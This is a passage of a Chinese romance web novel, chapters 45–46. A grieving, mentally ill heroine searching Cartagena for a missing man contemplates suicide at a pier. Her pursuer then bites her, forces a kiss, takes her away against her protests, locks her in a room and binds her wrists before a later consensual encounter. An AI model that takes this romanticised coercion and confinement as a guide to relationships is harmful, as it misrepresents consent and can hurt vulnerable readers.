盛夏的深夜依旧闷热,晚风裹着热气扑面而来,钱朗没走几步就出了汗。他加快脚步,在院门口抓住了宋柏的手臂:“你要搞垮魏家?” 宋柏停下脚步,回眸时,眼神里的冷意不减。钱朗却像没看见,追问:“我在国外这几个月也听到传言,魏箐在国外出了车祸,你家老太太都赶过去了。是不是魏家人干的?” 宋柏没答,只是沉声道:“和魏家相关的生意,都断干净。” 说完,他抽回手臂,径直走向停在院外的黑色迈巴赫。车门关闭,浓郁的酒气裹着车内的冷气散开,坐在副驾的许莫言拧开一瓶矿泉水,递到后座:“老板。” 后座的人没接,靠在座椅上,闭了闭眼:“她人呢?” 许莫言垂了垂眼帘,低声回道:“沈小姐住进了华悦的大平层。”顿了两秒,他试探着问:“老板,要过去看看吗?” 宋柏缓缓睁开眼,眼底翻涌着复杂的情绪,最终只化作冷冰冰的一句:“去公司。” 第45章 事不过三 黑色车融入黑夜, 城的另一头,纤细身影正蜷缩在昏暗中。 沈荞坐在落地窗前,双腿抱膝,静静望着窗外的夜景。她的身侧, 散落着数个拆开的纸箱, 旁边堆着一本本产权证和一叠叠文件。视线越过对面与周遭高楼格格不入的老小区, 眺望着小区后方中医院亮着的霓虹灯牌, 她的脑中反复回响着那句话:“沈小姐, 您名下在京城只有一套房子。” 而这唯一的一套房子,恰好就在她姐姐家的对面。 她不信这是巧合。 珠宝、房产、车子、股份、现金……从一开始, 他口中所谓的退路,其实就是为她准备的。 沈荞该怒, 该气,该哭。可刚吃了药的她, 身体沉重,连扯动嘴角的力气都没有。 正出神时,放在身侧的两部手机中, 有一部突然亮了一下。沈荞垂眸看去, 是一个陌生号码发来的信息,号码陌生, 信息内容的语气却熟悉。 【沈小姐,你吃晚饭了吗?药要记得按时吃。今天又到了好几个你的快递, 你现在住在哪里,我去给你送过去。】 是何婶。 沈荞瞥了一眼, 收回视线,既没点开也没回复,转身躺回床上, 整个人蜷缩进被子里,缓缓闭上了眼。 * 八月,正值欧洲多数国家的休假季,哥伦比亚的卡塔赫纳涌进了大批游客。下了飞机直接上车的沈荞坐在车后 座,驶出机场时,随处可见背着大背包的欧美游客。 她收回目光,车队驶出不远,一片蔚蓝的大海便映入眼帘。 沙滩、大海,还有燥热的风…… 原来已经过去一年了。 十九岁生日,她选择了离开他, 二十岁生日,她选择来寻找他。 “沈小姐,到了。” 再次来到卡塔赫纳,沈荞没有住进海边别墅或是豪华庄园,而是选了一处大隐隐于市的普通民居。普通到车辆都无法驶入,必须步行才能抵达。 而这也是自伦敦圣诞夜后,她第一次主动走进人群。 一张张陌生的人脸,一道道穿梭的身影,还有此起彼伏的嘈杂声音,在沈荞下车的瞬间,齐齐向她涌来。她刚走几步,脸色便发白,指尖也不受控制地发颤。紧紧护在一侧的保镖立刻察觉出异样,关切地询问,沈荞只是摇摇头,低声说“没事”。 如果连在人群中行走都做不到,她又该怎么找到他? 好不容易走到民居,提前抵达的陆阳已经检查好屋里的一切。沈荞进门的第一件事,便是拿出药吃下。 离开宋柏和何婶两天,这药盒都是陆阳随餐送来的。她也没问过这些药还剩多少,送过来便乖乖吃下。 陆阳对她而言是彻头彻尾的陌生人,可她似乎完全不担心他会在药里做手脚。 毕竟,她连死都不怕,还有什么值得顾虑的。 离她的生日还有半个月,沈荞没有出门,也极少说话,只是坐在露台,看着下方人潮来来往往,喧嚣的声音灌进耳中,不管是心理还是身体她都格外难受,可她还是强压着,逼着自己适应。 与此同时,她的手机每天都会准时响起,是何婶的短信。每天雷打不动问她吃没吃饭、吃没吃药,即便她从未回复,何婶也不曾间断。 就在沈荞逼迫自己适应人群时,陆阳送来了一份文件,一份搜救记录文件。 沈荞清醒后,闷在被子里,凭着记忆给新加坡家办拨通电话,开口的第一句话并非让他们来接自己,而是问:“找到傅英了吗?” 那边的回复是:“沈小姐,抱歉,还是没有找到。” 半年了,不管是人,还是尸体,都杳无音讯。 既然没有结果,这份文件她看了又有什么意义? 沈荞接过文件,看都没看一眼,便随手丢进了垃圾桶。 在露台生生坐了五天,对于每顿随餐送来的药,沈荞只吃晚上那顿。白天的两餐药她都停了。因为她需要要保持清醒,清醒去找傅英。 抵达卡塔赫纳的第六天,沈荞开始出门。她脱下睡衣,换上一身素净的白裙,走入人群,漫无目的游走在卡塔赫纳的街头。 从清晨到中午,再到傍晚,沈荞从天微亮走到天彻底变黑。许久没有做过大幅度运动的她,走到双脚磨出血泡,第二天双腿酸痛得几乎无法站立,可她神色依旧平静,起床后迈着酸痛的腿,继续自虐般游走在卡塔赫纳的大街小巷。 古城的石板路、错落的民居、辽阔的大海,她从一处走到另一处。许久没有在太阳下长时间行走的她,顶着烈日走了一整天,直接中了暑。头晕、呕吐、恶心,种种不适让她连饭都吃不下,可她依旧没有停下脚步。 日复一日的行走中,她渐渐习惯了拥挤的人潮,习惯了嘈杂的人声。她用自己的双脚,踏过卡塔赫纳的每一寸土地。 可是,别说傅英了,整个卡塔赫纳甚至没见到几张东方面孔。 但沈荞并不在意,也不曾气馁。 就这样走了近十天,随行的保镖们都察觉出了沈荞的不对劲。他们看向陆阳,陆阳只是皱了皱眉,转身给雇佣他的人拨通了电话。 电话那头的回复很简单,只要她不伤害自己,都随她。 握着手机,陆阳一时难以定义,这种每天自虐般的行走,究竟算不算伤害自己。 第二天,陆阳早早安排好了随行的保镖,可到了平时的时间,沈荞却迟迟没有下楼。陆阳只好上楼,轻轻敲了敲房门。 门被打开,门后的沈荞依旧穿着白裙,长发披肩。但陆阳看着她,总觉得有哪里不一样了。 不清楚具体变化,陆阳也没有多看,只是垂眸轻声说:“沈小姐,早餐准备好了,可以下楼吃了。” 一行保镖只负责安全护卫,并不负责做饭,所以沈荞的一日三餐,都是保镖从附近的餐厅订购的。 沈荞坐在餐桌前,喝着牛奶,吃着面包时,陆阳又偷偷瞥了她一眼。 这一眼,也让他终于发现沈荞哪里不同了。 和前些天的沉寂相比,今天的沈荞眼里格外有光。 正思忖间,沈荞擦了擦嘴角,起身说道:“走吧。” 抵达卡塔赫纳的半个月里,沈荞沉默寡言,是他们遇到过最安静的雇主。而“走吧”这两个字,是她为数不多主动开口的时候。 从民居出发,向下穿过纵横交错的街巷,便来到了相对繁华的游客聚集区。 换上便装的陆阳带着两名保镖,不远不近跟在后面。他们跟着沈荞穿过热闹的集市,走过满目的商铺,眼看临近中午,太阳越发灼人,陆阳上前劝道:“沈小姐,找个地方先坐下,吃点午饭再走吧。” 本以为会像前些天一样劝很久,没想到这次他刚开口,沈荞便点了点头。 不止点头,到了餐厅坐下后,她还主动问服务员,有没有蛋糕。 服务员笑着回应有,她便让服务员随餐一起送上。 坐在邻桌的陆阳,看着服务员将餐食和蛋糕一同端上桌。看着沈荞没有把蛋糕留到最后,而是选择将餐食推到一旁,把蛋糕拉到面前,望着窗外慢慢吃了起来。 看着她恬静柔和的侧脸,一向保持专业的陆阳难得有些发怔。 这些年,他陆陆续续跟过不少雇主,说实话,沈荞是他遇到过最安静,也最让人捉摸不透的一个。 首先,她是他从宋柏家里接出来的。 作为李程和许莫言曾经的副队、宋莫的老战友,他清楚宋家的情况,更知道宋柏的身份。 宋柏曾经也差点成为他的老板,只不过他不想在昔日的部下手下做事,也不愿出国,最终选择了其他安保公司。 说实话,那天去接人时,他甚至没拿到沈荞的任何资料,不知道沈荞的任何情况,他有的只是一个名字和定位。抵达时,见到人,惊讶的不止是许莫言,他其实也颇为意外,只是他没有表露出来而已。 他不知道沈荞的真实身份,不知道她和宋柏是什么关系,更不知道她来卡塔赫纳后,每天这样暴走究竟是为了什么。 以往那些雇主会主动和他分享琐碎的事,他不愿倾听,可沈荞从不开口,他却莫名生出了探究的念头。 这一餐吃得格外安静。除了蛋糕,沈荞几乎没碰桌上的餐食。吃完后,她也没有像往常一样立刻起身离开,而是坐在窗边,静静望着窗外发呆,这一坐便是许久。 直到服务员过来给她换了一杯水,沈荞才终于起身。这一次,她没有漫无目的地游走,而是顺着沿海街道一路向前。 路的尽头,则是大海。 陆阳带着保镖始终不远不近地着,很快,他敏锐察觉到有人跟了上来。陆阳扭头,用凌厉的眼神扫了过去。 跟上来的是一个男人,一个中国男人。他的视线紧紧锁定在前方的沈荞身上,如同盯住猎物一般。身侧的保镖低声问:“阳哥,要不要拦下他?” 陆阳摇了摇头。这里是哥伦比亚,他们人生地不熟,且处于游客最多的热闹街区,一旦闹开,只会徒增麻烦。 “盯着他,别让他靠近沈小姐。” 保镖点头应下,陆阳收回心神,重新将注意力放在前方的沈荞身上。 他跟着沈荞穿过热闹的街区,踩过松软的沙滩,来到海边,最后停在了一处老旧的码头。 码头老旧破败,周边甚至没有停靠的船只,只有海浪时不时拍打着岸边的礁石,发出沉闷的声响。 陆阳看着沈荞在码头边沿坐下,两只脚轻轻悬在水面上方,微微晃动着。海风吹过,扬起她的一头长发,衬得她身形愈发纤细单薄。 看着她任由海风吹动的模样,陆阳甚至觉得她随时会被风吹下海去。他眉头微蹙,刚想上前,肩膀却突然被人按住。 陆阳下意识反手擒住对方的手腕,回头看去,一张笑意吟吟的脸正对着他。 “阳哥,我们老板想和你聊聊。” * 从日头正好,坐到黄昏西斜,沈荞在冰冷的码头上,一坐就是几个小时。 她走了十天,没有找到要找的人。 坐了一个下午,也没有等来要等的人。 一向说话算话的傅英,还是食言了。 翻涌了一下午的大海,渐渐平息下来。橘红色的夕阳缓缓落地,洒在海面上,波光粼粼,温温柔柔。 一切都是那么平静,那么祥和。 而沈荞的脑中,却掀起了翻江倒海的挣扎。 “跳下去,跳下去你就能再见到傅英了。你就能和他在一起了。” “不能跳,傅英为你做了那么多,就是要你好好活着,你不能死。” “为什么要活着?活着有什么意义?” “为了姐姐,你还有姐姐……你死了,姐姐会伤心。何婶也会哭,还有宋柏……” 宋柏…… 她死了,他会伤心吗? 沈荞自嘲弯了弯嘴角,应该不会吧。 他生气了。 从她走后,他没有给她打过一个电话,发过一条消息。她离开的时候,他甚至都没有下车看她一眼。 她先是抛弃了傅英,又离开了他。 傅英会来找她,可宋柏,大概不会了。 沈荞望着一望无际的大海,低低地笑了一声。 她还真是无情。 傅英生死不明,她却在另一个人的臂弯间每天安然睡着,甚至差点忘了他。 这也是她执意要离开的原因。 她不可以,也不能忘记傅英。 就在沈荞沉浸在混乱的思绪中时,手中的手机突然振动起来。 是这些天一直坚持不懈给她发消息的何婶。 沈荞没有像之前那样置之不理,而是直接按下了挂断键。挂断不过两秒,一条短信跳了进来。 【回头。】 是早已熟悉的号码,可短短两个字里,却透着陌生的冷硬语调。 坐在码头边沿的沈荞身体一僵,缓缓回过头去。 夕阳、沙滩、还有男人。 远远的方向,修长挺拔的身影倚靠在黑色轿车旁,隔着漫天夕阳与她遥遥相望。 手中的手机再次振动,这一次,沈荞没有挂断,而是颤着指尖按下了接听键。 电话里,只有呼啸的风声,和彼此清晰可闻的呼吸声,交织缠绕。良久,那道熟悉又带着几分低沉的嗓音,终于透过听筒传来。 “沈荞,事不过三。这是第三次,不会再有下一次了。所以……是你过来,还是我离开?” 第46章 抱抱我 攥着手机, 沈荞看看远处的人,又看了看眼前的大海,正当她恍然失神时,手机里的电话突然被挂断。倚靠在车边的身影收起手机, 沈荞看不清他的脸, 只看到他收起手机后, 毫不犹豫躬身进了车里。 男人上车后, 立在一侧的保镖立刻上前关上车门。车门关闭的瞬间, 已经很久没哭过的沈荞,眼角忽然滑落下一滴泪。她没去擦, 也没再往远方张望,而是收回视线望向大海, 任由那滴泪顺着脸颊滴落,直直坠入翻涌的大海里。 委屈、不甘、茫然交织在一起, 堵得她胸口发紧。 也就在这时,手机又振动了一下。沈荞抿着唇,满心抗拒不想去看, 可还是不受控制按亮了屏幕。她低头瞥了一眼, 是一条短信。 【你的钻石项链在我这,过来拿。】 钻石项链? 她一直以为丢了的那条? 沈荞心头猛地一动, 下意识回头望去。原本已经关闭的车门缓缓降下车窗,一张脸映在光影交错之间, 正直直看着她。 那是傅英去年送她的生日礼物,也是他送她的最后一份礼物。她得拿回来。 海风吹干了脸颊的泪痕, 沈荞缓缓起身。多日的暴走,再加上一个下午的枯坐,她的双腿早已麻木僵硬, 完全不听使唤。只能靠双手撑着,才勉强站直。 酸胀发麻的腿,让她每走一步都犹如踩在针尖上,刺痛难忍,可她面色依旧平静,一步步走过码头,踏过岸边的长椅,踩着细软的沙滩,最终停在了车前。 半个月未见,再见时两人却隔着一扇冰冷的车门。 沈荞看着车内那张熟悉又陌生的脸,抿紧了唇,缓缓伸出手。 她没有说话,但这个动作已经足以表明所有意图。坐在车里的人抬眸看她,眉眼冷漠,当他瞥见她脸上风干的泪痕时,薄唇勾起一抹讥讽的笑。 “沈荞,你真的是没有心。” 沈荞一怔,还没来得及反应,车里的人已经抬起了手,他的手指间挂着一条明晃晃的钻石项链,正是她以为丢的那条。一年前的这一天,她逃离傅英时,就想拿这条项链收买他,最后不仅没能得逞,还和他在同一个屋檐下住了一天又一天。 看着钻石在光影里闪烁,沈荞正恍惚间,“咔”的一声,车门突然被打开。沈荞下意识后退半步,车门也开了一半,车里的人拿着项链,姿态漫不经心。 “你给我转了那么大一笔钱,这项链,怎么也应该还给你。” 从东湖湾离开的那天,不只是何婶和许莫言收到了她转的钱,宋柏也收到了。当然那笔钱,比不上这条钻石项链的价值。 沈荞深吸一口气,跨前一步,再次伸出了手。 这一次,她的手没有被晾在半空,而是被温热的大掌紧紧攥住。 不过轻轻一拉,她就被拽到了车前。紧接着,腰间一紧,头顶被一只手按住,还没等她反应过来,整个人就被一个旋身带进了车里,稳稳地坐在了结实的大腿上,双手被迫抵着宽厚的胸膛。 啪—— 沈荞刚坐稳,车门就被保镖迅速关上。下一秒,她的下巴被狠狠擒住,头被迫扬起,紧接着,脖颈间传来一阵刺痛,温热炽热的呼吸喷在她的颈间。 他竟然咬她! 尖锐的刺痛瞬间拉回了沈荞的神智。 脖颈间的痛感越来越烈,她下意识去推他,可他不仅纹丝不动,反而低下头,在她纤细的锁骨上重重咬了一口。这一咬力道极重,直接逼出了沈荞一声隐忍的闷哼。 埋首在她颈间的人听到了这声闷哼,缓缓抬起头。本就殷红的双唇此时沾着刺目的血色,衬得他眼底的幽暗更甚。 而看到他唇角血色的沈荞,眼神也瞬间变了,变得冰冷。她抬起手,想扇过去,却被他早有预料擒住手腕,反扣在了腰间。 沈荞挣扎了几下没能挣脱,正要抬起另一只手,后脑突然被用力摁住。下一秒,他那沾着血丝的殷红双唇便贴上了她的唇。还不待她反抗,温热的舌尖带着淡淡的血腥味,强行抵开了她的唇关。 唇齿交融间,原本摁在她后脑勺的手缓缓下滑,顺着她的背脊一寸一寸,划过柔软的腰窝,紧致的腰线,再到发麻发胀的大腿侧,最后停留在她酸痛的小腿上。 温热的大掌轻轻揉捏着她酸痛的小腿,唇齿间的纠缠带着满满的侵略性。 酥麻与刺痛交织,沈荞的身体瞬间僵住,脑海里一片空白。酥麻感顺着脊椎蔓延全身,鼻腔里满是他身上冷冽的气息。唇齿间的纠缠越来越烈,他的舌尖蛮横而强势,在她的口腔里肆意侵略,像是要将她彻底吞噬。 沈荞 的眼眶红了,不是因为疼,而是她的无力。她偏过头,用尽全力挣脱那滚烫的唇:“放开我!” 她的反抗只换来更紧的禁锢。原本攥着她小腿的手,重新摁上她的后脑勺,指尖微微用力,便迫使她重新对上他的目光。他眼底翻涌着复杂的情绪,有怒意,有不甘,还有偏执。沾着血丝的唇瓣擦过她的唇角,声音低沉:“沈荞,你是不是觉得我脾气很好?所以才这么肆无忌惮对我。” 沈荞一噎,心口闷得发疼。她别过脸,避开他眼底翻涌的情绪:“我给你转钱了,我们两清了。 “两清?”宋柏低笑一声,笑声里满是讥讽,扣在她腰间的手骤然收紧。“沈荞,你真的觉得我们能两清吗?” 他的触碰让沈荞的身体愈发僵硬,腰窝处的力道也紧得几乎让她喘不过气。她猛地抬起头,迎上他的目光,眼底满是冰冷的倔强:“那你想怎样?” “我想怎样?”宋柏的目光落在她泛红的眼眶上,喉结滚动了一下,语气忽然软了几分,却依旧强势,“你觉得我想怎样?” 沈荞一愣,不再挣扎,只是定定看着他,眼神里翻涌着愤怒、委屈与不解,最终化为一句冰冷的质问:“宋柏,你把我当什么?宠物还是玩具?” 傅英把她养在身边,是当妹妹的替身。 那他呢?又是因为什么? 虽然她昏昏沉沉,他抱她亲她,她都还记得。 他对她,不就是男人对女人的那点心思吗? 她是没怎么接触过外界,年纪也不大。但她看电影也看电视,也看书,对于男女之事,她并不是一无所知。 她清楚他的心思,却看不懂自己的心。 宋柏的动作一顿,眼底的汹涌褪去,取而代之的是深不见底的复杂。他沉默了几秒,喉结滚动间,缓缓开口:“宠物?玩具?” 他低声重复着这两个词,语气听不出喜怒,却让沈荞莫名感到寒意,“沈荞,你就是这么看我的,也是这么想你自己的?” 沈荞抿唇不语,宋柏也只是沉沉看着她。四目相对间,四周空气凝固,只剩下两人交织的粗重呼吸。 余光瞥见窗外飞速流动的车景,沈荞才恍然反应过来,车居然一直在开动。 她转眸,再看向他,声音带着抗拒:“你要带我去哪?我要下车,放我下车!” 她的声音不高,宋柏不仅不为所动,甚至抬手敲了敲前方的隔板。眼看车速越来越快,沈荞的情绪也彻底失控:“放我下车!我说了我要下车!” 双手得了自由的沈荞死死抓住了他的衣领,用力拉扯着他。而过去几个月里,一直耐心哄着她的宋柏,这一次却没有丝毫哄劝的意思,任由她把自己的衣领抓得变形,任由她动作间指甲抓伤自己的脖颈,任由她眼眶慢慢红透,声嘶力竭。 他就这么端坐着,看着她失控崩溃。 他不怕刺激到她,也不再怕她发疯。 他甚至觉着,她疯了也好,最起码能乖乖呆在他身边,总好过她一清醒就对他翻脸不认人。 宠物?玩具? 宠物要乖顺听话,而玩具…… 他不介意让她亲身体会,什么才是真正的玩具。 怀里人的情绪越来越激动,就在宋柏挨了她一记响亮的耳光后,车稳稳停下了。 车停稳的瞬间,被他死死扣在怀里的沈荞,清清楚楚看到了窗外的别墅。激动了一路的沈荞,在看清车窗外的别墅时,却冷静了下来。 她缓缓转过眸,看着宋柏,眼中水光闪烁:“我要回去。” 原本会纵容她一切的宋柏,此刻却面色紧绷,车门打开后,他抱着她毫不犹豫下了车,不顾她的挣扎,径直抱着她进了别墅,上楼,直接将她抱进了主卧室。 即便冷着一张脸,进了卧室后,他也没有粗暴将她丢在床上,而是习惯性轻轻放下 这几个月的纵容,成了他刻在骨子里的本能。 放下她后,他下意识还想抬手抚摸她的发顶,手刚抬起,却又硬生生顿在半空,最终决然收回。随即他直起身,板着脸头也不回走出卧室。 咔—— 咔哒—— 他不仅带上了门,还落下了锁,断绝了她逃离的可能。 本平躺在床上的沈荞,也没打算逃,她只是默默蜷缩起身子,将自己缩成一团。 不知过了多久,咔哒一声,门锁再次被打开。蜷缩在床上的沈荞没有抬眼,只是将头埋得更深。沉稳的脚步声步步逼近,一缕似有似无的酒气混着他身上的冷冽气息,向沈荞压来。 沈荞依旧不愿抬头,沉重的阴影却已笼罩在她上方。而她本蜷在头边的双手突然被人用力擒住。她刚要挣扎,一条黑色领带缠上了她的手腕,很快,领带被利落打了一个结,紧紧捆住了她的双手。沈荞被迫抬眼时,领带猛地一紧,她的手被高高提起,腰侧一沉,整个人被强行翻正,而被捆住的双手也被死死按在了头顶。 头顶传来悉悉索索的布料摩擦声,沈荞刚要挣扎,高大的身躯便翻身而上,稳稳跨跪在她的腰间,将她牢牢禁锢在身下,动弹不得。 幽暗难辨的眼神扫过她的脸,他的眼底翻涌着隐忍的怒火与浓烈的占有欲。微凉的指尖缓缓抚上她的脸颊,而她的双手,早已被彻底禁锢在头顶,无法挣扎。 “你要干什么?” 短短四个字,沈荞是从牙缝间挤出来的,带着极致的屈辱与愤怒,声音都在微微发颤。 跨跪在她腰间的人微微俯身,薄唇贴着她的耳侧,声音低沉,带着一丝咬牙切齿的意味:“让你知道,什么是玩具。” 说话间,他的手再次抚上她酸胀的小腿,动作带着刻意的摩挲,滚烫的温度一路向上,划过细腻的肌肤,很快便探进了她的裙摆。而贴在她耳边的唇微张,直接咬住了她的耳唇,反复撕咬研磨。 屈辱感与无力感如潮水般齐齐袭来,瞬间将沈荞淹没。 虽然太久不运动导致身体无力,但她依旧可以挣扎,可以嘶吼着反抗。可她什么都没做,甚至不再紧抿着唇,眼底的倔强和锋芒也一点点消散,取而代之的是浓得化不开的委屈,随即一滴滚烫的泪滑出眼眶。 泪珠顺着她的脸颊滚落,坠入埋首在她耳侧的人的颈间。 埋首的人动作一顿,温热的呼吸骤然停滞。他微微抬头,撞进她泛红的眼眶同时,看清了那里面翻涌的委屈。 眼眸闪动了几下,他喉结滚动,眼底的戾气褪去大半。他沉默着直起身子,抽回了已经探到她膝盖上方的手。 一声轻叹溢出,叹息中藏着难以言说的疲惫与无奈。他俯身,指尖在她头顶动了几下,束缚着手腕的领带便松开了,她的双手重获自由。 沈荞还没从这突如其来的转变中反应过来,身体便被他轻轻抱起,稳稳圈在怀里。他微凉的指尖带着刻意放轻的力道,细细揉着她并无红痕的手腕。 “这就委屈了?” 他的声音低沉,听不出喜怒,却少了之前的冷硬。 “玩具?我真把你当玩具,一年前的今天,我就可以对你做比这过分百倍的事,玩腻了再把你随便丢开。至于宠物,最起码要乖顺听话,沈荞,你自己说说,你乖吗?” 他抓着她的手,抚上他脸颊上新鲜的巴掌印,那是她在车里气急败坏时留下的,痕迹还很清晰,“我挨了你多少巴掌,你数过吗?” “沈荞,没良心就算了。怎么还能倒打一耙呢?” 摸着他温热的脸颊,看着他眼底翻涌的复杂情绪,沈荞心头的委屈忽然消散,取而代之的是密密麻麻的无措。 “沈荞,你要什么我没给你?” 她眉眼微动,刚要张口,就听本已柔了几分的语调骤然变冷:“不许提傅英。” 沈荞一哽,到了嘴边的话硬生生咽了回去。宋柏的语气缓和了些,又问:“和我在一起,不开心吗?” 沈荞垂着眼,抿唇不语。 宋柏也不急,只是继续轻轻揉着她的手腕,声音放得更柔:“那为什么,一定要离开?” 沈荞沉默了许久,才缓缓开口:“和你在一起,我会忘了傅英。” 宋柏一愣,怔了几秒才反应过来。 反应过来只觉着可笑。 就因为这点破事,让他整整喝了半个月的闷酒。 “你忘了傅英,不是因为和我在一起。你只是病了 ,病好了,你这不就想起来了吗?” 沈荞抬眼:“我是精神病,是疯子,对吗?” 她话说得平静,宋柏却紧紧皱眉:“谁说的?” 沈荞垂眸,长长的睫毛掩去眼底的黯淡。 当初她离开傅英,除了想找姐姐,更因为那时候,她杀了傅英的念头一天比一天强烈。 那时候,她还能凭着一丝理智强迫自己离开。可这半年,她感觉自己就像被困在躯壳里,不仅控制不住自己的行为,还丧失了大半意识。 这样的她,不是精神病,不是疯子,又是什么? 宋柏沉着眼,手臂收得更紧,将她牢牢搂在怀里。 “沈荞,我再说一遍,你只是病了。” 沈荞抬眸,看着他深邃的眼,看着他殷红微肿的唇,模糊记忆涌回。 他抱着浑身湿漉的她从浴缸里抱出来,送去医院的路上,她住院期间难得清醒的时候,他哄她吃药的时候,他都是这么一遍一遍告诉她,她只是病了。 沈荞颤了颤眼睫,抬手勾住他的脖颈,仰头朝他吻了过去。 明明在车上才吻过,可此刻她突如其来的主动,却让宋柏怔住了。 他扣住她的腰,微微后仰:“沈荞……” 两个字刚出口,就被她追上来的唇紧紧堵住。宋柏再往后仰,她便再往前追,不过片刻,原本端坐着的宋柏便倒在了松软的床垫上,窝在他怀里的沈荞伏在他身上,温热的唇瓣笨拙贴吻着他的唇。 她凌乱的呼吸、炽热的鼻息、温软的唇瓣,还有那股执拗,搅得宋柏呼吸彻底乱了。 大掌仍扣在她腰上,他收紧力道,正想将她翻身放下,脖颈处却突然传来一阵刺痛。 她咬了他。 本就乱了呼吸的宋柏,被这一咬撩出一股火。 “沈荞,放开。” 自她离开后,他心底便积了一团无名火,无处发泄。他压着、忍着,本想再见时对她发泄,可真见了她,所有的狠戾都成了舍不得,而满腔火气,最后也只是咬了她两口。 他咬她,是气她一而再再而三离开。 而她咬他,虽然不知什么原因,但却点燃了他心底另一团更烈的火。 而他,也从没想过,要在今天,释放这股火。 没有再犹豫,宋柏扣紧她的腰,微微用力,一个翻身便将她压在了身下,也让她顿住了撕咬的动作。 清澈的眼眸近在咫尺,宋柏毫无留恋撑着手翻身下床,抬手摸了摸脖颈,指腹触到一片湿漉。 再垂眸看向床上的人,她不仅头发乱了,身上的裙子也乱了,裙摆堆叠在膝头,露出白皙纤细的小腿和脚踝。视线再往下,宋柏的目光骤然凝住。 她的脚上,贴了好几个创口贴。 心底那股刚燃起的火瞬间熄灭,宋柏的眼神沉了下来。 “怎么回事?” 他站在原地,声音冷硬,没有靠近,也没有去碰她的脚。 躺在床上的沈荞眨着眼,没有回答。只是视线从他的脸,扫过他泛红的脖颈、紧绷的胸膛,最后又回他脸上。 “宋柏……” 她轻声开口。 宋柏将视线重新落回她脸上,应:“嗯?” “抱抱我。” 宋柏的喉结狠狠滚动了一下,身形依旧未动。 床上的沈荞缓缓坐起身,跪坐在床垫上。 站在床下的宋柏看着她,下颚线绷得极紧。 “沈荞……” 他的声音沉得发哑。 话音未落,床上的人已赤着脚迈步下床,一步,又一步,缓缓朝他走近。赤着的脚踩在柔软的地毯上,看似无声无息,实则踩在宋柏的心尖上。 她走得很慢,却很快就站到了他面前,仰头望着他,眼底明亮,没有半分羞怯。 宋柏的喉结又重重滚了滚,视线死死定在她脸上,紧绷的下颚咬得更紧,冷硬开口:“脚上怎么回事?” 沈荞没答,只是往前又挪了半步,几乎完全贴进他怀里,温热的呼吸拂过他的胸膛,轻声重复,带着执拗:“宋柏……” 她的声音很轻,却像一根针,刺破了他所有的伪装。宋柏低头,她的眼里只有他,只有全然的渴求,没有半分算计,也没有半分逃离的意思。 心底的隐忍轰然崩塌。 他伸手,将她狠狠揽进怀里,一只大掌扣着她的腰,另一只托着她的腿弯,将她打横抱起,大步走到床边,将她放在柔软的床垫上,随即覆身而上。 “沈荞,我最后再给你一次机会。” 回应他的,是她主动搂上他脖颈的手。 * 床头的电子时钟跳过零点,床上纤细的身影颤着脊背仰起脖颈,侧头咬着枕头闷出一声轻吟。男人原本扣着她腿弯的大掌转而撑在她腰侧,埋首的动作顿住,抬头时鼻尖与唇瓣还沾着水润的薄红,他低头,轻吻她小腹上的疤,再吻过她泛着红的锁骨,吻上她修长的脖颈。 修长的手指捋过她汗涔涔的发,抚上她的发顶,一下,又一下,动作温柔。 才缓过劲的人埋在枕头里,耳尖发红。宋柏起身离去,再回来时,手上多了温热的毛巾和一身干净的新睡衣。 温热的毛巾刚贴上光裸的背脊,早已平复气息的人就轻轻一颤。 神色幽暗的宋柏,眼角漾开一抹笑,姿态也多了几分慵懒的松弛。 “这么娇气,还敢招惹我?” 丢开毛巾,他俯身将她埋在枕头里的头轻轻捞出来,刚触到她的脸颊,便见她早已阖上眼,眉睫轻颤,已是半梦半醒的模样。 宋柏低嗤一声。 还真是没良心,自己舒服了,倒头就睡。 他从没打算在今天对她做什么,不然,她这一夜,别想合眼 沈荞再睁眼,是在飞机上,熟悉的小卧室,熟悉的人。身侧的人熟睡着,锋利的眼阖着,殷红的唇抿着。 而那双紧抿的唇,不久前才流连过她的全身。 她的脚、她的小腿、还有她并不愿意被他亲吻的位置。 除了他的双唇,还有他的手,还有他 她正出神间,身侧本阖着眼的人微微睁开了眼。见她醒着,她收紧了揽在她腰间的手,顺势将头埋进她的颈窝里,发丝蹭过肌肤,痒痒的。 “时间还早,再睡会。” 他的声音带着明显的困顿,说完后眼睫轻轻颤了颤,扫过沈荞的颈侧。即便她没转头,也能感觉到他又重新阖上了眼。 温热的体温、熟悉的气息将她完完全全包裹住,窝在这大半个月未曾贴近的怀抱里,沈荞刚清醒几分的思绪又渐渐松弛,缓缓阖上了眼。 再次醒来时,飞机依旧平稳飞行,身侧的人已经醒了。他半坐着,膝上放着平板,屏幕的幽光映在他轮廓分明的脸上,添了几分冷冽。察觉到她睁眼,他放下平板,俯身朝她凑近,唇瓣即将贴上她的唇时,沈荞猛地偏过头,他的唇擦过她的耳廓,动作骤然僵住。 “脏。” 沈荞的声音很轻,却让那僵住的身躯顿了顿,随即松懈下来,宋柏胸腔里溢出一声低低的闷笑,震动透过相贴的肌肤清清楚楚传到沈荞身上。 “是觉得没刷牙脏,还是” 沈荞一僵,下一秒,温热的唇瓣贴上她的耳廓,带着他独有的气息,语气带着几分戏谑:“我都不嫌弃,你嫌弃什么?” 他语调轻佻,沈荞却并不搭理他,抬手将他的头推开,看着他。 “你能帮我查是谁对傅英动的手吗?” 她昏沉了半年,就连生活都要依附宋柏。现在她清醒了,她要找到伤害傅英的人,她要让他们付出代价。 宋柏唇边的笑僵住,撑着手,直起身子。看了她许久,点头。 “行,只要你跟我回去。” 宋柏没告诉她,其实这半年,成辉和岑怀一直在查,只是一无所获。 半年前,他想让她认清傅英不在的事实;而现在,让她心里存着点希望,好像也没什么不好。 宋柏应得干脆,沈荞却微微摇了摇头。她这一摇,宋柏的眼神瞬间沉了下来,还未等他开口追问,她轻声道:“我控制不住自己,我会伤害你,也会伤害何婶。” 她低垂着眉,声音极轻。宋柏眉头一拧,伸手托起她的脸,逼着她直视自己的眼睛。 “我不会让你伤害自己,更不会让你伤害我或何婶。如果你真的担心,那我们就两个人,不用何婶,行吗?” 沈荞怔怔看着他,宋柏低下头,用鼻尖轻轻蹭了蹭她的鼻尖,语气软了几分:“这半个月,我都没睡个好觉。而且,你不在,宋莫又上门怎么办?” 模糊的记忆涌回,沈荞皱了皱眉。 宋柏垂眸,掩住眼中情绪,又补了一句:“我可打不过他。” * 飞机平稳落地,许莫言守在舱门边,看着空乘打开舱门,又回头瞥了眼一高一矮牵着手走出机舱卧室的两道身影,抽了抽红肿的唇角。 孽缘,简直就是孽缘。 折腾来折腾去,最后折磨的却是他。 不仅战友情破碎,他还平白挨了好几个拳头。 冤孽啊 